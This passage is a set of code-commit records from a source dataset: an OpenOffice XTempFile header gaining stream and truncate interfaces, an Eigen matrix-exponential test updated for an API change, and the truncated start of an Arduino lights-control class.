<com\/sun\/star\/lang\/XSingleServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n#ifndef _CPPUHELPER_WEAK_HXX_\n#include <cppuhelper\/weak.hxx>\n#endif\n#ifndef _OSL_MUTEX_HXX_\n#include <osl\/mutex.hxx>\n#endif\n\nclass SvStream;\nnamespace utl { class TempFile; }\n\nclass XTempFile : public com::sun::star::io::XInputStream,\n                  public com::sun::star::io::XOutputStream,\n                  public com::sun::star::io::XSeekable,\n                  public com::sun::star::beans::XPropertySet,\n                  public cppu::OWeakObject\n{\nprotected:\n    ::utl::TempFile*    mpTempFile;\n    ::osl::Mutex        maMutex;\n    SvStream*           mpStream;\n    void checkError () const;\n    void checkConnected () const;\n\npublic:\n    XTempFile ();\n    virtual ~XTempFile ();\n\n    \/\/ XInterface\n    virtual ::com::sun::star::uno::Any SAL_CALL queryInterface( const ::com::sun::star::uno::Type& aType )\n        throw (::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL acquire(  )\n        throw ();\n    virtual void SAL_CALL release(  )\n        throw ();\n    \/\/ XInputStream\n    virtual sal_Int32 SAL_CALL readBytes( ::com::sun::star::uno::Sequence< sal_Int8 >& aData, sal_Int32 nBytesToRead )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int32 SAL_CALL readSomeBytes( ::com::sun::star::uno::Sequence< sal_Int8 >& aData, sal_Int32 nMaxBytesToRead )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL skipBytes( sal_Int32 nBytesToSkip )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int32 SAL_CALL available(  )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL closeInput(  )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    \/\/ XOutputStream\n    virtual void SAL_CALL writeBytes( const ::com::sun::star::uno::Sequence< sal_Int8 >& aData )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL flush(  )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL closeOutput(  )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    \/\/ XSeekable\n    virtual void SAL_CALL seek( sal_Int64 location )\n        throw (::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int64 SAL_CALL getPosition(  )\n        throw (::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int64 SAL_CALL getLength(  )\n        throw (::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n    \/\/ XPropertySet\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertySetInfo > SAL_CALL getPropertySetInfo(  )\n        throw (::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL setPropertyValue( const ::rtl::OUString& aPropertyName, const ::com::sun::star::uno::Any& aValue )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::beans::PropertyVetoException, ::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Any SAL_CALL getPropertyValue( const ::rtl::OUString& PropertyName )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL addPropertyChangeListener( const ::rtl::OUString& aPropertyName, const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertyChangeListener >& xListener )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL removePropertyChangeListener( const ::rtl::OUString& aPropertyName, const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertyChangeListener >& aListener )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL addVetoableChangeListener( const ::rtl::OUString& PropertyName, const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XVetoableChangeListener >& aListener )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL removeVetoableChangeListener( const ::rtl::OUString& PropertyName, const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XVetoableChangeListener >& aListener )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    static ::rtl::OUString getImplementationName ();\n    static ::com::sun::star::uno::Sequence < ::rtl::OUString > getSupportedServiceNames();\n    static ::com::sun::star::uno::Reference < com::sun::star::lang::XSingleServiceFactory > createServiceFactory( com::sun::star::uno::Reference < com::sun::star::lang::XMultiServiceFactory > const & rServiceFactory );\n    virtual sal_Bool SAL_CALL supportsService(rtl::OUString const & rServiceName)\n        throw (com::sun::star::uno::RuntimeException);\n};\n#endif\n<commit_msg>INTEGRATION: CWS mav05 (1.4.80); FILE MERGED 2003\/07\/07 13:54:18 mav 1.4.80.2: #i15929# allow to close temporary file explicitly 2003\/06\/23 09:20:58 mav 1.4.80.1: #i15929# extend temporary file service<commit_after>\/*************************************************************************\n *\n *  $RCSfile: XTempFile.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: kz $ $Date: 2003-09-11 10:31:46 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): Martin Gallwey (gallwey@sun.com)\n *\n *\n ************************************************************************\/\n#ifndef _XTEMPFILE_HXX\n#define _XTEMPFILE_HXX\n\n#ifndef _COM_SUN_STAR_IO_XINPUTSTREAM_HPP_\n#include <com\/sun\/star\/io\/XInputStream.hpp>\n#endif\n#ifndef _COM_SUN_STAR_IO_XOUTPUTSTREAM_HPP_\n#include <com\/sun\/star\/io\/XOutputStream.hpp>\n#endif\n#ifndef _COM_SUN_STAR_IO_XSEEKABLE_HPP_\n#include <com\/sun\/star\/io\/XSeekable.hpp>\n#endif\n#ifndef _COM_SUN_STAR_IO_XSTREAM_HPP_\n#include <com\/sun\/star\/io\/XStream.hpp>\n#endif\n#ifndef _COM_SUN_STAR_IO_XTRUNCATE_HPP_\n#include <com\/sun\/star\/io\/XTruncate.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSINGLESERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XSingleServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n#ifndef _CPPUHELPER_WEAK_HXX_\n#include <cppuhelper\/weak.hxx>\n#endif\n#ifndef _OSL_MUTEX_HXX_\n#include <osl\/mutex.hxx>\n#endif\n\nclass SvStream;\nnamespace utl { class TempFile; }\n\nclass XTempFile : public com::sun::star::io::XInputStream,\n                  public com::sun::star::io::XOutputStream,\n                  public com::sun::star::io::XSeekable,\n                  public com::sun::star::io::XStream,\n                  public com::sun::star::io::XTruncate,\n                  public com::sun::star::beans::XPropertySet,\n                  public cppu::OWeakObject\n{\nprotected:\n    ::utl::TempFile*    mpTempFile;\n    ::osl::Mutex        maMutex;\n    SvStream*           mpStream;\n    sal_Bool            mbRemoveFile;\n    sal_Bool            mbInClosed;\n    sal_Bool            mbOutClosed;\n\n    void checkError () const;\n    void checkConnected () const;\n\npublic:\n    XTempFile ();\n    virtual ~XTempFile ();\n\n    \/\/ XInterface\n    virtual ::com::sun::star::uno::Any SAL_CALL queryInterface( const ::com::sun::star::uno::Type& aType )\n        throw (::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL acquire(  )\n        throw ();\n    virtual void SAL_CALL release(  )\n        throw ();\n    \/\/ XInputStream\n    virtual sal_Int32 SAL_CALL readBytes( ::com::sun::star::uno::Sequence< sal_Int8 >& aData, sal_Int32 nBytesToRead )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int32 SAL_CALL readSomeBytes( ::com::sun::star::uno::Sequence< sal_Int8 >& aData, sal_Int32 nMaxBytesToRead )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL skipBytes( sal_Int32 nBytesToSkip )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int32 SAL_CALL available(  )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL closeInput(  )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    \/\/ XOutputStream\n    virtual void SAL_CALL writeBytes( const ::com::sun::star::uno::Sequence< sal_Int8 >& aData )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL flush(  )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL closeOutput(  )\n        throw (::com::sun::star::io::NotConnectedException, ::com::sun::star::io::BufferSizeExceededException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    \/\/ XSeekable\n    virtual void SAL_CALL seek( sal_Int64 location )\n        throw (::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int64 SAL_CALL getPosition(  )\n        throw (::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual sal_Int64 SAL_CALL getLength(  )\n        throw (::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n    \/\/ XStream\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::io::XInputStream > SAL_CALL getInputStream(  )\n        throw (::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::io::XOutputStream > SAL_CALL getOutputStream(  )\n        throw (::com::sun::star::uno::RuntimeException);\n\n    \/\/ XTruncate\n    virtual void SAL_CALL truncate()\n        throw (::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n    \/\/ XPropertySet\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertySetInfo > SAL_CALL getPropertySetInfo(  )\n        throw (::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL setPropertyValue( const ::rtl::OUString& aPropertyName, const ::com::sun::star::uno::Any& aValue )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::beans::PropertyVetoException, ::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Any SAL_CALL getPropertyValue( const ::rtl::OUString& PropertyName )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL addPropertyChangeListener( const ::rtl::OUString& aPropertyName, const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertyChangeListener >& xListener )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL removePropertyChangeListener( const ::rtl::OUString& aPropertyName, const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XPropertyChangeListener >& aListener )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL addVetoableChangeListener( const ::rtl::OUString& PropertyName, const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XVetoableChangeListener >& aListener )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL removeVetoableChangeListener( const ::rtl::OUString& PropertyName, const ::com::sun::star::uno::Reference< ::com::sun::star::beans::XVetoableChangeListener >& aListener )\n        throw (::com::sun::star::beans::UnknownPropertyException, ::com::sun::star::lang::WrappedTargetException, ::com::sun::star::uno::RuntimeException);\n    static ::rtl::OUString getImplementationName ();\n    static ::com::sun::star::uno::Sequence < ::rtl::OUString > getSupportedServiceNames();\n    static ::com::sun::star::uno::Reference < com::sun::star::lang::XSingleServiceFactory > createServiceFactory( com::sun::star::uno::Reference < com::sun::star::lang::XMultiServiceFactory > const & rServiceFactory );\n    virtual sal_Bool SAL_CALL supportsService(rtl::OUString const & rServiceName)\n        throw (com::sun::star::uno::RuntimeException);\n};\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2009 Jitse Niesen <jitse@maths.leeds.ac.uk>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n#include <unsupported\/Eigen\/MatrixFunctions>\n\ndouble binom(int n, int k)\n{\n  double res = 1;\n  for (int i=0; i<k; i++)\n    res = res * (n-k+i+1) \/ (i+1);\n  return res;\n}\n\ntemplate <typename Derived, typename OtherDerived>\ndouble relerr(const MatrixBase<Derived>& A, const MatrixBase<OtherDerived>& B)\n{\n  return std::sqrt((A - B).cwiseAbs2().sum() \/ std::min(A.cwiseAbs2().sum(), B.cwiseAbs2().sum()));\n}\n\ntemplate <typename T>\nT expfn(T x, int)\n{\n  return std::exp(x);\n}\n\ntemplate <typename T>\nvoid test2dRotation(double tol)\n{\n  Matrix<T,2,2> A, B, C;\n  T angle;\n\n  A << 0, 1, -1, 0;\n  for (int i=0; i<=20; i++)\n  {\n    angle = static_cast<T>(pow(10, i \/ 5. - 2));\n    B << cos(angle), sin(angle), -sin(angle), cos(angle);\n\n    ei_matrix_function(angle*A, expfn, &C);\n    std::cout << \"test2dRotation: i = \" << i << \"   error funm = \" << relerr(C, B);\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n\n    C = ei_matrix_exponential(angle*A);\n    std::cout << \"   error expm = \" << relerr(C, B) << \"\\n\";\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n  }\n}\n\ntemplate <typename T>\nvoid test2dHyperbolicRotation(double tol)\n{\n  Matrix<std::complex<T>,2,2> A, B, C;\n  std::complex<T> imagUnit(0,1);\n  T angle, ch, sh;\n\n  for (int i=0; i<=20; i++)\n  {\n    angle = static_cast<T>((i-10) \/ 2.0);\n    ch = std::cosh(angle);\n    sh = std::sinh(angle);\n    A << 0, angle*imagUnit, -angle*imagUnit, 0;\n    B << ch, sh*imagUnit, -sh*imagUnit, ch;\n\n    ei_matrix_function(A, expfn, &C);\n    std::cout << \"test2dHyperbolicRotation: i = \" << i << \"   error funm = \" << relerr(C, B);\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n\n    C = ei_matrix_exponential(A);\n    std::cout << \"   error expm = \" << relerr(C, B) << \"\\n\";\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n  }\n}\n\ntemplate <typename T>\nvoid testPascal(double tol)\n{\n  for (int size=1; size<20; size++)\n  {\n    Matrix<T,Dynamic,Dynamic> A(size,size), B(size,size), C(size,size);\n    A.setZero();\n    for (int i=0; i<size-1; i++)\n      A(i+1,i) = static_cast<T>(i+1);\n    B.setZero();\n    for (int i=0; i<size; i++)\n      for (int j=0; j<=i; j++)\n    B(i,j) = static_cast<T>(binom(i,j));\n\n    ei_matrix_function(A, expfn, &C);\n    std::cout << \"testPascal: size = \" << size << \"   error funm = \" << relerr(C, B);\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n\n    C = ei_matrix_exponential(A);\n    std::cout << \"   error expm = \" << relerr(C, B) << \"\\n\";\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n  }\n}\n\ntemplate<typename MatrixType>\nvoid randomTest(const MatrixType& m, double tol)\n{\n  \/* this test covers the following files:\n     Inverse.h\n  *\/\n  int rows = m.rows();\n  int cols = m.cols();\n  MatrixType m1(rows, cols), m2(rows, cols), m3(rows, cols),\n             identity = MatrixType::Identity(rows, rows);\n\n  typedef typename NumTraits<typename ei_traits<MatrixType>::Scalar>::Real RealScalar;\n\n  for(int i = 0; i < g_repeat; i++) {\n    m1 = MatrixType::Random(rows, cols);\n\n    ei_matrix_function(m1, expfn, &m2);\n    ei_matrix_function(-m1, expfn, &m3);\n    std::cout << \"randomTest: error funm = \" << relerr(identity, m2 * m3);\n    VERIFY(identity.isApprox(m2 * m3, static_cast<RealScalar>(tol)));\n\n    m2 = ei_matrix_exponential(m1) * ei_matrix_exponential(-m1);\n    std::cout << \"   error expm = \" << relerr(identity, m2) << \"\\n\";\n    VERIFY(identity.isApprox(m2, static_cast<RealScalar>(tol)));\n  }\n}\n\nvoid test_matrix_exponential()\n{\n  CALL_SUBTEST_2(test2dRotation<double>(1e-13));\n  CALL_SUBTEST_1(test2dRotation<float>(1e-5));\n  CALL_SUBTEST_2(test2dHyperbolicRotation<double>(1e-14));\n  CALL_SUBTEST_1(test2dHyperbolicRotation<float>(1e-5));\n  CALL_SUBTEST_6(testPascal<float>(1e-6));\n  CALL_SUBTEST_5(testPascal<double>(1e-15));\n  CALL_SUBTEST_2(randomTest(Matrix2d(), 1e-13));\n  CALL_SUBTEST_7(randomTest(Matrix<double,3,3,RowMajor>(), 1e-13));\n  CALL_SUBTEST_3(randomTest(Matrix4cd(), 1e-13));\n  CALL_SUBTEST_4(randomTest(MatrixXd(8,8), 1e-13));\n  CALL_SUBTEST_1(randomTest(Matrix2f(), 1e-4));\n  CALL_SUBTEST_5(randomTest(Matrix3cf(), 1e-4));\n  CALL_SUBTEST_1(randomTest(Matrix4f(), 1e-4));\n  CALL_SUBTEST_6(randomTest(MatrixXf(8,8), 1e-4));\n}\n<commit_msg>Update matrix_exponential test after API change in ei_matrix_function Apologies for forgetting this yesterday and not testing properly.<commit_after>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2009 Jitse Niesen <jitse@maths.leeds.ac.uk>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n#include <unsupported\/Eigen\/MatrixFunctions>\n\ndouble binom(int n, int k)\n{\n  double res = 1;\n  for (int i=0; i<k; i++)\n    res = res * (n-k+i+1) \/ (i+1);\n  return res;\n}\n\ntemplate <typename Derived, typename OtherDerived>\ndouble relerr(const MatrixBase<Derived>& A, const MatrixBase<OtherDerived>& B)\n{\n  return std::sqrt((A - B).cwiseAbs2().sum() \/ std::min(A.cwiseAbs2().sum(), B.cwiseAbs2().sum()));\n}\n\ntemplate <typename T>\nT expfn(T x, int)\n{\n  return std::exp(x);\n}\n\ntemplate <typename T>\nvoid test2dRotation(double tol)\n{\n  Matrix<T,2,2> A, B, C;\n  T angle;\n\n  A << 0, 1, -1, 0;\n  for (int i=0; i<=20; i++)\n  {\n    angle = static_cast<T>(pow(10, i \/ 5. - 2));\n    B << cos(angle), sin(angle), -sin(angle), cos(angle);\n\n    C = ei_matrix_function(angle*A, expfn);\n    std::cout << \"test2dRotation: i = \" << i << \"   error funm = \" << relerr(C, B);\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n\n    C = ei_matrix_exponential(angle*A);\n    std::cout << \"   error expm = \" << relerr(C, B) << \"\\n\";\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n  }\n}\n\ntemplate <typename T>\nvoid test2dHyperbolicRotation(double tol)\n{\n  Matrix<std::complex<T>,2,2> A, B, C;\n  std::complex<T> imagUnit(0,1);\n  T angle, ch, sh;\n\n  for (int i=0; i<=20; i++)\n  {\n    angle = static_cast<T>((i-10) \/ 2.0);\n    ch = std::cosh(angle);\n    sh = std::sinh(angle);\n    A << 0, angle*imagUnit, -angle*imagUnit, 0;\n    B << ch, sh*imagUnit, -sh*imagUnit, ch;\n\n    C = ei_matrix_function(A, expfn);\n    std::cout << \"test2dHyperbolicRotation: i = \" << i << \"   error funm = \" << relerr(C, B);\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n\n    C = ei_matrix_exponential(A);\n    std::cout << \"   error expm = \" << relerr(C, B) << \"\\n\";\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n  }\n}\n\ntemplate <typename T>\nvoid testPascal(double tol)\n{\n  for (int size=1; size<20; size++)\n  {\n    Matrix<T,Dynamic,Dynamic> A(size,size), B(size,size), C(size,size);\n    A.setZero();\n    for (int i=0; i<size-1; i++)\n      A(i+1,i) = static_cast<T>(i+1);\n    B.setZero();\n    for (int i=0; i<size; i++)\n      for (int j=0; j<=i; j++)\n    B(i,j) = static_cast<T>(binom(i,j));\n\n    C = ei_matrix_function(A, expfn);\n    std::cout << \"testPascal: size = \" << size << \"   error funm = \" << relerr(C, B);\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n\n    C = ei_matrix_exponential(A);\n    std::cout << \"   error expm = \" << relerr(C, B) << \"\\n\";\n    VERIFY(C.isApprox(B, static_cast<T>(tol)));\n  }\n}\n\ntemplate<typename MatrixType>\nvoid randomTest(const MatrixType& m, double tol)\n{\n  \/* this test covers the following files:\n     Inverse.h\n  *\/\n  int rows = m.rows();\n  int cols = m.cols();\n  MatrixType m1(rows, cols), m2(rows, cols), m3(rows, cols),\n             identity = MatrixType::Identity(rows, rows);\n\n  typedef typename NumTraits<typename ei_traits<MatrixType>::Scalar>::Real RealScalar;\n\n  for(int i = 0; i < g_repeat; i++) {\n    m1 = MatrixType::Random(rows, cols);\n\n    m2 = ei_matrix_function(m1, expfn) * ei_matrix_function(-m1, expfn);\n    std::cout << \"randomTest: error funm = \" << relerr(identity, m2 * m3);\n    VERIFY(identity.isApprox(m2, static_cast<RealScalar>(tol)));\n\n    m2 = ei_matrix_exponential(m1) * ei_matrix_exponential(-m1);\n    std::cout << \"   error expm = \" << relerr(identity, m2) << \"\\n\";\n    VERIFY(identity.isApprox(m2, static_cast<RealScalar>(tol)));\n  }\n}\n\nvoid test_matrix_exponential()\n{\n  CALL_SUBTEST_2(test2dRotation<double>(1e-13));\n  CALL_SUBTEST_1(test2dRotation<float>(1e-5));\n  CALL_SUBTEST_2(test2dHyperbolicRotation<double>(1e-14));\n  CALL_SUBTEST_1(test2dHyperbolicRotation<float>(1e-5));\n  CALL_SUBTEST_6(testPascal<float>(1e-6));\n  CALL_SUBTEST_5(testPascal<double>(1e-15));\n  CALL_SUBTEST_2(randomTest(Matrix2d(), 1e-13));\n  CALL_SUBTEST_7(randomTest(Matrix<double,3,3,RowMajor>(), 1e-13));\n  CALL_SUBTEST_3(randomTest(Matrix4cd(), 1e-13));\n  CALL_SUBTEST_4(randomTest(MatrixXd(8,8), 1e-13));\n  CALL_SUBTEST_1(randomTest(Matrix2f(), 1e-4));\n  CALL_SUBTEST_5(randomTest(Matrix3cf(), 1e-4));\n  CALL_SUBTEST_1(randomTest(Matrix4f(), 1e-4));\n  CALL_SUBTEST_6(randomTest(MatrixXf(8,8), 1e-4));\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"SysConfig.h\"\n#if(HAS_STD_LIGHTS)\n\n\/\/ Includes\n#include <Arduino.h>\n#include \"CLights.h\"\n#include \"CPin.h\"\n#include \"NCommManager.h\"\n#include \"NVehicleManager.h\"\n#include \"PinDefinitions.h\"\n\nnamespace\n{\n\tCPin light( \"light\", PIN_STANDARD_LIGHTS, CPin::kAnalog, CPin::kOutput );\n}\n\nvoid CLights::Initialize()\n{\n\tNVehicleManager::m_capabilityBitmask |= ( 1 << LIGHTS_CAPABLE );\n\n\tlight.Reset();\n\tlight.Write( 0 );\n}\n\nvoid CLights::Update( CCommand& commandIn )\n{\n\t\/\/ Check for messages\n\tif( !NCommManager::m_isCommandAvailable )\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ Handle messages\n\tif( commandIn.Equals( \"ligt\" ) )\n\t{\n\t\t\/\/ 0 - 255\n\t\tint value = commandIn.m_arguments[1];\n\t\tlight.Write( value );\n\n\t\t\/\/ LIGT - Light toggle\n\t\tSerial.print( F( \"LIGT:\" ) );\n\t\tSerial.print( value );\n\t\tSerial.print( ';' );\n\n\t\t\/\/ LIGP - Light percentage\n\t\tSerial.print( F( \"LIGP:\" ) );\n\t\tSerial.print( commandIn.m_arguments[1] \/ 255.0f );\n\t\tSerial.println( ';' );\n\t}\n}\n\n#endif\n<commit_msg>Updated Trident's light class to match the new light map updates<commit_after>#include \"SysConfig.h\"\n#if(HAS_STD_LIGHTS)\n\n\/\/ Includes\n#include <Arduino.h>\n#include \"CLights.h\"\n#include \"CPin.h\"\n#include \"NCommManager.h\"\n#include 